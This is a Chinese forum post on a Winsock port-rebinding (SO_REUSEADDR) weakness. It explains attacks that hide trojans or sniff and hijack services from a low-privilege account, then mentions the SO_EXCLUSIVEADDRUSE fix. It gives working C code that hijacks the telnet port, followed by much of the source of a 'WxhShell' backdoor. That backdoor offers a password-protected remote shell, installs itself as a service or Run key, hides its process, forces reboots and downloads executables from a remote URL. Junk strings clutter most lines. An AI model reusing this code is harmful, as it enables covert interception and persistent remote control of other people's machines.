社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9770阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: yVP 1=pz_[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qU/,&C  
:M%s:,]R  
  saddr.sin_family = AF_INET; [p%OIqC`pB  
oV 7A"8L^a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [)ybPIv]  
02EbmP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -A\J:2a|  
u\]aUP e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )t/[z3rn  
BUozpqN}  
  这意味着什么?意味着可以进行如下的攻击: YnCWmlC  
DW,fh8w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pKM5<1J  
w ,CZ*/^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) CL U[')H0  
,iUYsY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }: W6Bo-|  
0tzMu#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  x!<?/I)X  
wW1E 'Vy{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e+ZC<Bdh  
-bq\2Yc$]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ke(LjRS  
X[XSf=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6}vPwI  
&;)6G1X1  
  #include u}[Z=V  
  #include zg3q\ ~  
  #include KLc<c1BZ  
  #include    kp+\3z_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D-zqu~f`  
  int main() Ef}rMkv  
  { (S@H'G"  
  WORD wVersionRequested; A#"AqNVWv  
  DWORD ret; &f\ng{  
  WSADATA wsaData; Q\>Kd N{  
  BOOL val; $g|/.XH%  
  SOCKADDR_IN saddr; vk:m >?(  
  SOCKADDR_IN scaddr; U73{Uv  
  int err; FDHa|<oz  
  SOCKET s; ,a I0Aw  
  SOCKET sc; _a"\g9{%*  
  int caddsize; CENA!WWQ  
  HANDLE mt; C7]K9  
  DWORD tid;   n{~W s^d  
  wVersionRequested = MAKEWORD( 2, 2 ); Y^?J3[@  
  err = WSAStartup( wVersionRequested, &wsaData ); w:}RS.AK  
  if ( err != 0 ) { tXocGM {6C  
  printf("error!WSAStartup failed!\n"); iCouGd}  
  return -1; =;1MpD  
  } olC@nQ1c*  
  saddr.sin_family = AF_INET; >D';i\2j&  
   jocu=Se@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wHQyMq^  
|7jUf$Q\p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l6X\.oI  
  saddr.sin_port = htons(23); V m1U00lM{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4g.y$  
  { Y dgaZJs  
  printf("error!socket failed!\n");  LWb5C{  
  return -1; Q6cF <L`bW  
  } V9 pKb X  
  val = TRUE; v :YW[THre  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 rZ~.tT|(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) F1@gYNbI,  
  { #du!tx ( _  
  printf("error!setsockopt failed!\n"); (aX5VB**  
  return -1; zl: 5_u=T  
  } W*hRYgaX3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; c%uX+\-$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Q<y&*o3YF|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 eeuTf  
%#rH~E  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /=x) 9J  
  { 1RtbQ{2F;  
  ret=GetLastError(); a& Ti44a[  
  printf("error!bind failed!\n"); rZDmZm?=  
  return -1; ,$,6%"'"  
  } 29?{QJb  
  listen(s,2); )w8h2=l  
  while(1) 3wEVjT-  
  { #:v e3gWl  
  caddsize = sizeof(scaddr); *8zn\No<,  
  //接受连接请求 7W[}7Y   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fjUyx:  
  if(sc!=INVALID_SOCKET) ^/wvHu[#  
  { Rld1pX2v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A|#9  
  if(mt==NULL) %Ot22a  
  { Q'] _3  
  printf("Thread Creat Failed!\n"); i#t)tM"  
  break; -E4e8'P;5  
  } /?%zNkcxu  
  } /-wAy-W  
  CloseHandle(mt); kzhncku  
  } JkazB1h  
  closesocket(s); ZB'/DO=i  
  WSACleanup(); .`84Y  
  return 0; \: H&.VQ"  
  }   "CdL?(  
  DWORD WINAPI ClientThread(LPVOID lpParam) .0:t wj  
  { [s-Km/  
  SOCKET ss = (SOCKET)lpParam; V `V Z[  
  SOCKET sc; k0{5)Su"xr  
  unsigned char buf[4096]; "-Lbz)k  
  SOCKADDR_IN saddr; W9~vBU  
  long num; !3{> F"  
  DWORD val; C>q,c3s5  
  DWORD ret; V:rq}F}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2*6b{}yJH  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /jQW4eW0  
  saddr.sin_family = AF_INET; *KO4H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6,sZo!G  
  saddr.sin_port = htons(23); /wB<1b"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) he0KzwBF  
  { +B$ o8V  
  printf("error!socket failed!\n"); CPVR  
  return -1; 48CLnyYiF  
  } |->{NU Z{  
  val = 100; oagxTFh8~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q/Dc*Qn m  
  { < @9p|[!  
  ret = GetLastError(); =PiDZS^"  
  return -1; s+>VqyHgf  
  } Kd8V,teH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %EYh5 W  
  { #EiOC.A=  
  ret = GetLastError(); C2;qSKG3{m  
  return -1; A.<HOx&#  
  } 4oT1<n`r+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Yxye?R-:  
  { <o^_il$W  
  printf("error!socket connect failed!\n");  $j*j {}K  
  closesocket(sc); r>1M&Y=<  
  closesocket(ss); [?mDTD8zU  
  return -1; $\l7aA5~  
  } TTaSg\K  
  while(1) #(C2KRRiA  
  { *a*\E R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  E%\jR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5 T1M:~u i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q}~of}h/  
  num = recv(ss,buf,4096,0); Z -`j)3Y  
  if(num>0) JnCp'`  
  send(sc,buf,num,0); 0[@ 9f1Nk4  
  else if(num==0) c#M 'Mye  
  break; (.,`<rXw  
  num = recv(sc,buf,4096,0); ps1ndGp~#  
  if(num>0) 3!M;Z7qF]  
  send(ss,buf,num,0); beFVjVVHq  
  else if(num==0) oR>o/$z$)g  
  break; ;/#E!Ja/ u  
  } YB/A0J  
  closesocket(ss); T_bk%  
  closesocket(sc); Tx%6whd/'  
  return 0 ; &K5wCNX1  
  } 1\:puC\)  
R{.5Z/Vp6E  
R9Wh/@J]  
========================================================== e0%?;w-TL  
L DD^X@q  
下边附上一个代码,,WXhSHELL OI"vC1.5  
/gZrnd?  
========================================================== vdrV)^  
S~fQ8t70  
#include "stdafx.h" nYG$V)iCb  
dg/OjiD[P  
#include <stdio.h> 0lR/6CB  
#include <string.h> 1J<Wth{  
#include <windows.h> A6Ttx{]  
#include <winsock2.h> w*[i!i  
#include <winsvc.h> 9E^IEwq'  
#include <urlmon.h> `f`\j -Lu  
_y&m4Vuu  
#pragma comment (lib, "Ws2_32.lib") !4cR&@[  
#pragma comment (lib, "urlmon.lib") )NJD+yQ%  
z5-vx`  
#define MAX_USER   100 // 最大客户端连接数 59gt#1k  
#define BUF_SOCK   200 // sock buffer jPg8>Z&D  
#define KEY_BUFF   255 // 输入 buffer EzOO6  
|LA./%U  
#define REBOOT     0   // 重启 xoI;s}*E  
#define SHUTDOWN   1   // 关机 ) Q\nR`k  
2%"2~d7  
#define DEF_PORT   5000 // 监听端口 }Z*@EWc>  
az@{O4  
#define REG_LEN     16   // 注册表键长度 0qXd?z$  
#define SVC_LEN     80   // NT服务名长度 J >Zd0Dn  
/v"u4Ipj  
// 从dll定义API U^SJWYi<Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mMm_=cfv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~Emeo&X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3eQ-P8LS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qrjo@_+w!  
sh(G{Yz@  
// wxhshell配置信息 #?.Yc%5B  
struct WSCFG { @0A7d $J(  
  int ws_port;         // 监听端口 @mBZu!,  
  char ws_passstr[REG_LEN]; // 口令 Ub=g<MYHV  
  int ws_autoins;       // 安装标记, 1=yes 0=no Cw]& B  
  char ws_regname[REG_LEN]; // 注册表键名 {LfVV5?  
  char ws_svcname[REG_LEN]; // 服务名 hXdc5 ?i?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _#xS1sD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +c5z-X$^]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <wUDcF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DK 4 8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l<qK' P4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~F?s\kp6  
cmF&1o3_  
}; o %sBU  
q y73  
// default Wxhshell configuration }yZ9pTB.?E  
struct WSCFG wscfg={DEF_PORT, %[0V>  
    "xuhuanlingzhe", |SC^H56+  
    1, '&,$"QXwE  
    "Wxhshell", ,R/HT@  
    "Wxhshell", :&ir5xHS  
            "WxhShell Service", <4S Y'-w  
    "Wrsky Windows CmdShell Service", IMLk{y%6  
    "Please Input Your Password: ", O\;Z4qn2=  
  1, d;O16xcM/  
  "http://www.wrsky.com/wxhshell.exe", GlYNC&,VL  
  "Wxhshell.exe" -C]RFlV  
    }; y?j#;n0  
ogQY"c8  
// 消息定义模块 ei)ljvvmHP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D+?/MrP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4eTfb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Xh"JyDTj3  
char *msg_ws_ext="\n\rExit."; >2tQ')%DJ  
char *msg_ws_end="\n\rQuit."; )*@n G$i99  
char *msg_ws_boot="\n\rReboot..."; 3wK{?  
char *msg_ws_poff="\n\rShutdown..."; IiTV*azVh  
char *msg_ws_down="\n\rSave to "; >aXyi3B  
dC8 $Ql^<  
char *msg_ws_err="\n\rErr!"; "!()yjy  
char *msg_ws_ok="\n\rOK!"; =Tv|kJ| j  
 (`PgvBL:  
char ExeFile[MAX_PATH]; SskvxH+7  
int nUser = 0; f*KNt_|:  
HANDLE handles[MAX_USER]; [:<CgU9C  
int OsIsNt; KM$L u2  
mUY+v>F  
SERVICE_STATUS       serviceStatus; `s93P^%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S0( ).2#  
$qG;^1$  
// 函数声明 (UWWULV  
int Install(void); 8&?Kg>M  
int Uninstall(void); *YmR7g|k  
int DownloadFile(char *sURL, SOCKET wsh); _7es_w}R  
int Boot(int flag); 9/3gF)I}  
void HideProc(void); dPplZ,Y%  
int GetOsVer(void); &}:'YK*X  
int Wxhshell(SOCKET wsl); \'Oi0qo>  
void TalkWithClient(void *cs); o))z8n?b  
int CmdShell(SOCKET sock); m  "'  
int StartFromService(void); d_s=5+Yj  
int StartWxhshell(LPSTR lpCmdLine); L+,p#w  
P{j2'gg3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g&eIfm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9jq}`$S{  
xl [3*K   
// 数据结构和表定义 3V ~871:-~  
SERVICE_TABLE_ENTRY DispatchTable[] = ssaEAm:  
{ _'DT)%K  
{wscfg.ws_svcname, NTServiceMain}, jp=z ^l  
{NULL, NULL} x"xl3dRu  
}; ?O3E.!Q|  
{a aI<u  
// 自我安装 <QbD ;(%  
int Install(void) |Iei!jm  
{ x=>B 6o-f  
  char svExeFile[MAX_PATH]; qv\n]M_&  
  HKEY key; 2F* spu  
  strcpy(svExeFile,ExeFile); 278:5yC  
3cfJ(%'X  
// 如果是win9x系统,修改注册表设为自启动 4/UY*Us&  
if(!OsIsNt) { YaiogA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u^.7zL+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MLwh&I9)  
  RegCloseKey(key); i) v ]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <q@/ Yy32  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ROcI.tL  
  RegCloseKey(key); fA"N5qQI(  
  return 0; "Bl ]_YPv  
    } ;e,_F/@`  
  } x(oL\I_Z  
} to9~l"n.s  
else { }j<:hD QP  
y4sKe:@2  
// 如果是NT以上系统,安装为系统服务 nE.w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4WCWu}  
if (schSCManager!=0) pG"pvfEl9f  
{ <u "xHl8Io  
  SC_HANDLE schService = CreateService 4<%(Y-_sF  
  ( .. jc^'L  
  schSCManager, Mttt]]  
  wscfg.ws_svcname, 7A:k  
  wscfg.ws_svcdisp, Bgb~Tz'  
  SERVICE_ALL_ACCESS, &b :u~puM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7{jB!Xj  
  SERVICE_AUTO_START, 2to~=/.  
  SERVICE_ERROR_NORMAL, Jr|"QRC  
  svExeFile, P5$d#Y(=  
  NULL, 0 D^d-R,  
  NULL, \dvzL(,  
  NULL, BK>3rjXi>a  
  NULL, %f[0&)1!.v  
  NULL B=dF\.&Z  
  ); ]b5E_/P  
  if (schService!=0) HURr k~[  
  { iCd$gwA>F  
  CloseServiceHandle(schService); ^a+W!  
  CloseServiceHandle(schSCManager); MnToL@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F)fCj^ zL  
  strcat(svExeFile,wscfg.ws_svcname); K4w %XVaH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C8ss6+k&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kyV!ATL1F  
  RegCloseKey(key); W5 l)mAv  
  return 0; iczJXA+  
    } vNdMPulr{  
  } \ a}6NIo  
  CloseServiceHandle(schSCManager); 5e)2Jt:  
} ;B Lw?kf  
} Q\H1=8  
'7BJ.  
return 1; KWuc*!  
} Eo h4#fZ\N  
sA^_I6>M"  
// 自我卸载 j&6O 1  
int Uninstall(void) 0 0JH*I  
{ .T!R&#]n  
  HKEY key; pI>yO~Ve  
^7b[s pqE  
if(!OsIsNt) { $a / jfpV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3K)12x$.K  
  RegDeleteValue(key,wscfg.ws_regname); (29h{=P'  
  RegCloseKey(key); Y9}5&#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~vL7$-:  
  RegDeleteValue(key,wscfg.ws_regname); 1=U(ZX+u  
  RegCloseKey(key); 5a8[0&hA 2  
  return 0; IZ9L ;"}  
  } R\i8O^[  
} s,z$Vt"h*K  
} sGBm[lplz  
else { A=N &(k  
|4E5x9J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WA'4y\N  
if (schSCManager!=0) 4k$i:st;  
{ ;dC>$_P?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <H; z4  
  if (schService!=0) b\{34z,  
  { =`&7pYd,  
  if(DeleteService(schService)!=0) { aL)}S%5o?  
  CloseServiceHandle(schService); [nSlkl   
  CloseServiceHandle(schSCManager); B7'rbc'  
  return 0; f{i~hVF  
  } 2Ra}&ie  
  CloseServiceHandle(schService); 5Q/&,NP  
  } !UzMuGj  
  CloseServiceHandle(schSCManager); 8%+F.r  
} 3bWYRW  
} )Bz2-|\  
/5**2Kgv1  
return 1; DJWm7 t  
} yW =I*f  
Q4;%[7LU  
// 从指定url下载文件 SRP.Mqg9  
int DownloadFile(char *sURL, SOCKET wsh) ^ <$$h  
{ s (2/]f$  
  HRESULT hr; vHydqFi9  
char seps[]= "/"; A'zXbp:%  
char *token; ?'xwr )v  
char *file; (u_?#PjX  
char myURL[MAX_PATH]; XJ$mRh0`K  
char myFILE[MAX_PATH]; m2{DLw".  
,ORwMZtw{H  
strcpy(myURL,sURL); ;nSOe AF)Q  
  token=strtok(myURL,seps); . X:  
  while(token!=NULL) ]J '#KT{  
  { T'W@fif  
    file=token; W5)R{w0`GD  
  token=strtok(NULL,seps); r 9~Wh $  
  } o[A y2"e?  
{M_*hR;lL  
GetCurrentDirectory(MAX_PATH,myFILE); s^&Oh*SP*  
strcat(myFILE, "\\"); #7*{ $v  
strcat(myFILE, file); L2 ybL#dz  
  send(wsh,myFILE,strlen(myFILE),0); <<SUIY@X  
send(wsh,"...",3,0); w7#9t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,P>xpfdK  
  if(hr==S_OK) xj!G9x<!  
return 0; dvc=<!"'S  
else #9/^)^k  
return 1; ?'8(']/  
JmP[9"  
} 7u=R5  
39yp1  
// 系统电源模块 #/,WgsAC  
int Boot(int flag) TXWYQ~]3w  
{ mVs<XnA47  
  HANDLE hToken; &i5MRw_]]  
  TOKEN_PRIVILEGES tkp; sw\O\%^  
W5SCm(QS5  
  if(OsIsNt) { W"meH~[Cp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Gi+ZI{)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W2`/z)[*>  
    tkp.PrivilegeCount = 1; yKhN1kY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /cXVJ(#j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {CaTu5\  
if(flag==REBOOT) { au;ZAXM|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (DnrJ.QU}t  
  return 0; VpO+52&  
} \RF{ITV$kD  
else { xb (Cd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;1MRBk,  
  return 0; |19zjhl  
} 3UNmUDl[~  
  } c$fYK  
  else { lP;X=X>  
if(flag==REBOOT) { =>m x>R`S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /\wm/Yx?S  
  return 0; #,5v#| u|7  
} >D5WAQ>b  
else { + e3{J_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3;'RF#VL  
  return 0; DGJt$o=&@  
} |Bhj L,  
} <tn6=IV  
8WP|cF]  
return 1; pIhy3@bY  
} ?l/+*/AR;  
~gi,ky^!  
// win9x进程隐藏模块 (Do](C  
void HideProc(void) Nu[0X  
{  KB5<)[bs  
9`FPV`/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t,IQ|B&0  
  if ( hKernel != NULL ) Tya[6b!8  
  { Q13>z%Rge  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^V?W'~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0K:3?Ik  
    FreeLibrary(hKernel); JU`5K}H<  
  } DlF6tcoI  
8`Iz%rw&(J  
return; &<Iz?AVr  
} *Z}9S9YtN  
gNaB^IY  
// 获取操作系统版本 8r\;8all  
int GetOsVer(void) Y7GHIzX  
{ 7H$wpn Zln  
  OSVERSIONINFO winfo; 9k*1_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6!A+$"  
  GetVersionEx(&winfo); QT)5-Jy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !)//b]  
  return 1; g&?RQ  
  else "V>p  
  return 0; J5#shs[M:  
} 7f_tH_(  
%|o2d&i  
// 客户端句柄模块 ~&%&Z  
int Wxhshell(SOCKET wsl) )Rj,PF-9Z[  
{ Y q(CD!  
  SOCKET wsh; aTi,gJ;*  
  struct sockaddr_in client; 5~H}%W,P  
  DWORD myID; ;-"'sEu}  
%^LwLyoVM  
  while(nUser<MAX_USER) 9~|hGo  
{ h 7  c  
  int nSize=sizeof(client); +sm9H"_0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @q++eGm\Q  
  if(wsh==INVALID_SOCKET) return 1; c W^  
W</\F&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \agT#tT J  
if(handles[nUser]==0) h/xV;oj  
  closesocket(wsh); Z_WJgH2c  
else XM:Y(#?l  
  nUser++; z$b'y;k  
  } )Q)H!yin  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b Sm*/Q  
Cp!Qd e  
  return 0; 4&}dA^F  
} ZB'ms[  
S*Hv2sl  
// 关闭 socket KlSg0s  
void CloseIt(SOCKET wsh) )2g-{cYv  
{ Sc,a jT  
closesocket(wsh); 3c[< #] 8S  
nUser--; -,pw[R  
ExitThread(0); ! +{$dB>a  
} hNUkaP  
0oNy  
// 客户端请求句柄 bVW2Tjc:  
void TalkWithClient(void *cs) 6$ x9@x8  
{ 5$<Ozkj(  
g?> V4WF  
  SOCKET wsh=(SOCKET)cs; T@gm0igW/;  
  char pwd[SVC_LEN]; Q)%a2s;  
  char cmd[KEY_BUFF]; bc%N !d  
char chr[1]; c?7 Wjy  
int i,j; OqlP_^Zz7p  
HE.YfD)  
  while (nUser < MAX_USER) { TBu[3X%  
[e?vqm .  
if(wscfg.ws_passstr) { 4u+4LB*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D\ kd6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2y#[uSqB  
  //ZeroMemory(pwd,KEY_BUFF); M0Vs9K=  
      i=0; Ns5'K^  
  while(i<SVC_LEN) { S E0&CV4  
]v|n'D-?  
  // 设置超时 V4tObZP3Ff  
  fd_set FdRead; AB[#  
  struct timeval TimeOut; ^7-l<R[T  
  FD_ZERO(&FdRead); @*"H{xo.U  
  FD_SET(wsh,&FdRead); QvvH/u  
  TimeOut.tv_sec=8; V)#rP?Y  
  TimeOut.tv_usec=0; L3|~ i&k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #:M <<gk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D?`|`Mu  
!6pE0(V^+4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1qN+AT  
  pwd=chr[0]; W_Eur,/`  
  if(chr[0]==0xd || chr[0]==0xa) { k:* (..!0z  
  pwd=0; iVAAGZ>am  
  break; G Q])y  
  } @78%6KZ`i  
  i++; lm\~_ 4l1  
    } j=y{ey7Fd  
dvPlKLp  
  // 如果是非法用户,关闭 socket ||o :A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D{G~7P\.  
} zA%$l&QN]  
{"n=t`E)3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &KP JB"0L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o8!uvl}:9  
O]%Vh l  
while(1) { j5~nLo2  
apw/nhQ.[  
  ZeroMemory(cmd,KEY_BUFF); |]+PDc%  
^J?y mo$>0  
      // 自动支持客户端 telnet标准   [a!*m<  
  j=0; xG~7kj3  
  while(j<KEY_BUFF) { &p_V<\(%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ew>lk9La(  
  cmd[j]=chr[0]; $4u8"ne)  
  if(chr[0]==0xa || chr[0]==0xd) { }&Kl)2:O  
  cmd[j]=0; rJUXIV>z  
  break; vD3j(d  
  } SU>cJ*  
  j++; _8ubo\M~  
    } /& wA$h  
/@feY?glc  
  // 下载文件 &)GlLpaT  
  if(strstr(cmd,"http://")) { P)rz%,VF+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _t.Ub:  
  if(DownloadFile(cmd,wsh)) M~LYq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JLu>w:\  
  else  j*#k%;c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cd:VFjT  
  } ObEp0-^?  
  else { }Sv\$h  
E-"b":@:  
    switch(cmd[0]) { Xot2L{EIUE  
  +~f5dJyk`  
  // 帮助 1YJ@9*l  
  case '?': { I_3{i`g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q5>]f/LD  
    break; 87q~ nk  
  } bC0DzBnM;  
  // 安装 <0!)}O  
  case 'i': { cC7&]2X +f  
    if(Install()) w i=&W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I W5N^J  
    else d6+{^v$#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5~\GAjf  
    break; %W,V~kb  
    } {bMOT*X=A  
  // 卸载 :,1 kSM%r  
  case 'r': { ^zVW 3 Y q  
    if(Uninstall()) >v1ajI>O&{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); idSc#n22  
    else IfzZ\x .  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -cs$E2 -  
    break; D,&o=EU  
    } Zg/ ],/`  
  // 显示 wxhshell 所在路径 z%44@TP  
  case 'p': { Dio9'&DtC  
    char svExeFile[MAX_PATH]; X}G3>HcP  
    strcpy(svExeFile,"\n\r"); ,<O|Iis  
      strcat(svExeFile,ExeFile); K~Z$NS^W&  
        send(wsh,svExeFile,strlen(svExeFile),0); ;b;Bl:%?  
    break; Zil<*(kv{  
    } vd#BT$d?  
  // 重启 `| f1^C^  
  case 'b': { I.hy"y2&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B f"L;L  
    if(Boot(REBOOT)) S7f"\[Aw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ve@E.`  
    else { Pe)SugCs  
